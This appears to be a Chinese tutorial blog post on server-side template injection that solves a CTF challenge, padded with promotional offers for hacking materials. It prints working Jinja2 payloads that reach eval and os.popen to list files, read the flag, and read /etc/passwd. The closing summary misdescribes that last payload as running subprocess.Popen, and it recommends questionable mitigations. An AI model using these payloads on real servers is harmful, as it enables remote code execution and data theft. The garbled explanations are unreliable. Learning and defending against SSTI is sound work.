[网络安全]一文带你了解SSTI漏洞(结合Web_python_template_injection解题详析)

SSTI漏洞

SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。

SSTI漏洞的主要原因是在Web应用程序中使用了基于模板引擎的渲染功能,并且没有正确地验证和过滤用户输入的数据。当攻击者能够构造特定的输入并成功地注入恶意代码时,模板引擎会将该代码当做合法的模板片段来处理,导致服务器端执行该代码。

漏洞分类

  1. 条件语句注入:攻击者在应用程序中的条件语句中注入模板代码,从而控制条件判断的分支,导致程序的逻辑错误。这种注入通常发生在基于条件语句的模板引擎,如 DjangoJinja2中。
  2. 命令执行注入:攻击者在应用程序中的命令执行语句中注入模板代码,从而执行任意系统命令,获取系统权限,对系统进行攻击等。这种注入通常发生在使用反序列化操作等动态执行代码的模板引擎中,如 FreeMarkerVelocity 等。
  3. 变量渲染注入:攻击者在应用程序中的变量渲染语句中注入模板代码,从而影响页面的输出,导致代码执行或信息泄漏等问题。这种注入通常发生在基于语法标签的模板引擎,如 Smarty 等中。
  4. 其他注入:SSTI 漏洞还有一些其他的注入方式,如在 URL、请求头、Cookie 等参数中注入模板代码,通过多重注入实现攻击等。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

魔术方法

在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。

markdown复制代码1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。

2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。

3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。

4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。

5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。

姿势

在这里插入图片描述

判断是否存在SSTI漏洞

Payload:{{1+1}}

在这里插入图片描述如上图,存在SSTI漏洞。

查看所有子类

Payload:[].__class__.__base__.__subclasses__()

调用 class 方法获取的是 [] 所处的类 list。接着,通过 base 方法获取了 list 类的基类 object。然后再调用 subclasses() 方法,获取的是 object 的所有子类,也就是所有 Python 中定义的类,以及这些类的子类和后代类

在这里插入图片描述

查找warnings.catch_warnings函数

在Python 3中,如果一个未受信任的程序调用warnings.showwarning()函数,则warnings.catch_warnings()上下文管理器将捕获到 RuntimeWarning 警告。

在warnings.catch_warnings()未被禁用前,可以在模板注入中使用 warnings.catch_warnings() 来允许在 Python 3 环境下成功读取文件内容

在这里插入图片描述由上图,warnings.catch_warnings函数位于第59个type中

查找warnings.catch_warnings函数内模块

构造Payload: {{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

在object 子类列表中第 59 个子类中(即第59个type中), 调用__init__.func_globals.keys() 方法返回其初始化函数的全局作用域(即所有的变量、函数)

在这里插入图片描述发现linecache函数

在 Python 3 中,当使用警告时,如果Python没有找到对应的源文件,则会引发一个 linecache 警告。可利用此特性,在未找到源文件的情况下成功读取flag

查看linecache中os模块


为什么需要查看 linecache 中的 os 模块?

在 Python 3 中,当对一个未导入的模块(如 os 模块)执行 eval() 函数时,linecache 模块会发出一个警告,可利用这个警告来读取敏感信息。


Payload: {{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}

获取第 59 个type的__init__.func_globals.values()[13]['eval']属性,然后使用 Python 的 eval() 函数来执行字符串 __import__(\"os\").popen(\"ls\").read()

__init__用来创建一个 Python 代码字符串所对应的函数对象,func_globals.values() 返回一个字典视图对象,包含了定义在该方法中的所有全局变量和函数。而 [13] 则是用来获取该字典视图中的第 13 个元素。由于这个方法中定义了一个名为 eval 的全局函数变量,因此该元素为 eval 函数本身。

在 Python 中,eval() 函数可以动态地解析并执行字符串作为 Python 代码进行计算。执行 os.popen("ls").read()命令,可获取当前目录下的所有文件列表

在这里插入图片描述

查看fl4g文件内容

Payload:{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat fl4g").read()')}}

os.popen("cat fl4g").read() 命令用于读取名为 fl4g 的文件中的内容 在这里插入图片描述

总结

以上为SSTI漏洞原理分析并结合攻防世界Web_python_template_injection实例进行解题详解,希望读者躬身实践。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,如果你对网络安全入门感兴趣,需要的话可以在下方

Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值